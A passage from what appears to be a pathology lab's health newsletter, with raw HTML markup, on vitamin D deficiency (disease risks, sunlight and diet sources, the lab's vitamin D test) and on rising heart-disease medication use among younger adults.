Follow up period was 10 years in the study and after additional adjustment for family history of myocardial infarction, body mass index, alcohol consumption, physical activity, history of diabetes mellitus and hypertension, low- and high-density lipoprotein cholesterol levels and triglyceride levels, this relationship remained significant.<\/p>\n<p>Another study found that low levels of vitamin D increased the <span style=\"color: #000080;\"><a style=\"color: #000080;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/risk-of-getting-diabetes-in-early-stage\/\">risk of diabetes<\/a><\/span>, and yet another reasearch linked deficiencies to an increased risk of dying from breast cancer.<\/p>\n<p><strong>Sunlight and diet as sources for Vitamin D:<\/strong><\/p>\n<p style=\"text-align: justify;\">The skin manufactures the majority of the body&#8217;s vitamin D by tissue synthesis from cholesterol catalyzed by skin exposure to UV light. But as adults age the ability to make vitamin D through the skin diminishes. Avoiding sun exposure or using sunscreen can also limit a person&#8217;s production of vitamin D. Adequate sun exposure is 10-20 minutes for people with pale skin in the summer noonday sun. For others with darker skin tones, the corresponding time is 60-100 minutes. Since the length of time for sun exposure varies with geographical location, skin pigmentation, percent body fat and age, careful attention to obtaining dietary sources of vitamin D and daily supplementation is prudent.<\/p>\n<p style=\"text-align: justify;\">Some researchers have reported that vitamin D intake is often too low to sustain healthy circulating levels of the active form of this nutrient. This is mostly due to unique dietary patterns, such as low milk consumption, vegetarian diet, limited use of dietary supplements or low fish intake.<\/p>\n<p><span style=\"color: #ff0000;\"><strong>LPL Tests for assessment of Vitamin D and B12 levels<\/strong><\/span><\/p>\n<ol>\n<li style=\"text-align: justify;\">25 hydroxy vitamin D enzyme immunoassay \u2013 Vitamin D derived from diet and tissue synthesis is hydroxylated to 25 hydroxy vitamin D.

In this issue we\u00a0highlight two such recent reports on lifestyle diseases, deficiency\u00a0of the \u201cSunshine hormone Vitamin \u2013 D\u201d, surprisingly prevalent in a\u00a0tropical country like ours and Heart disease, high blood pressure and therosclerosis &#8211;\u00a0conditions that are usually associated with the senior population &#8211; creeping into young\u00a0adulthood.<\/p>\n<p style=\"text-align: justify;\">According to recent pharmaceutical research studies prescription drug use by younger adults\u00a0for heart disease- related conditions, lipid lowering drugs and antihypertensives, is increasing\u00a0at a rapid rate, far outpacing older adults and offering a glimpse into the forthcoming clinical\u00a0and financial challenges facing our health care system. The flip side of the story is that younger\u00a0patients are taking medications to control conditions that, if left untreated, could lead to heart\u00a0attacks and strokes &#8211; indicating that physicians are screening patients more regularly and\u00a0treating these precursors more aggressively than in the past.
